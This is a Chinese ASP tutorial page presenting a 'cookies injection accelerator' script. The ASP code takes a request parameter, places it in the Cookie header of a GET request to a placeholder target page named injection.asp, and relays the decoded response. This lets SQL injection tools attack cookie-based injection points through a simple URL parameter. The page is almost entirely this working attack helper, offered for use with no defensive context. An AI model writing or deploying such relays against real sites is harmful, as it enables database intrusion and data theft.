当前位置:首页 > ASP教程 > 应用技巧

ASP版实现cookies注入加速工具

来源:职业欠钱&zj1244共用的public blog


复制代码 代码如下:

<% 
str="xxxid="&escape(request("fk")) 
url="http://xxx.chinaxxx.com/injection.asp" 
response.write postdata(url,str) 

function postdata(posturl,postcok)  
dim http 
set http = server.createobject("msxml2.serverxmlhttp") 
with http 

.open "get",posturl,false 
.setrequestheader "cookie",postcok 
.send 
postdata = .responsebody 
end with 
set http = nothing 
postdata =bytes2bstr(postdata) 
end function 

function bytes2bstr(vin) 
dim strreturn 
dim i, thischarcode, nextcharcode 
strreturn = "" 
for i = 1 to lenb(vin) 
thischarcode = ascb(midb(vin, i, 1)) 
if thischarcode < &h80 then 
strreturn = strreturn & chr(thischarcode) 
else 
nextcharcode = ascb(midb(vin, i + 1, 1)) 
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode)) 
i = i + 1 
end if 
next 
bytes2bstr = strreturn 
end function 

%>

【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!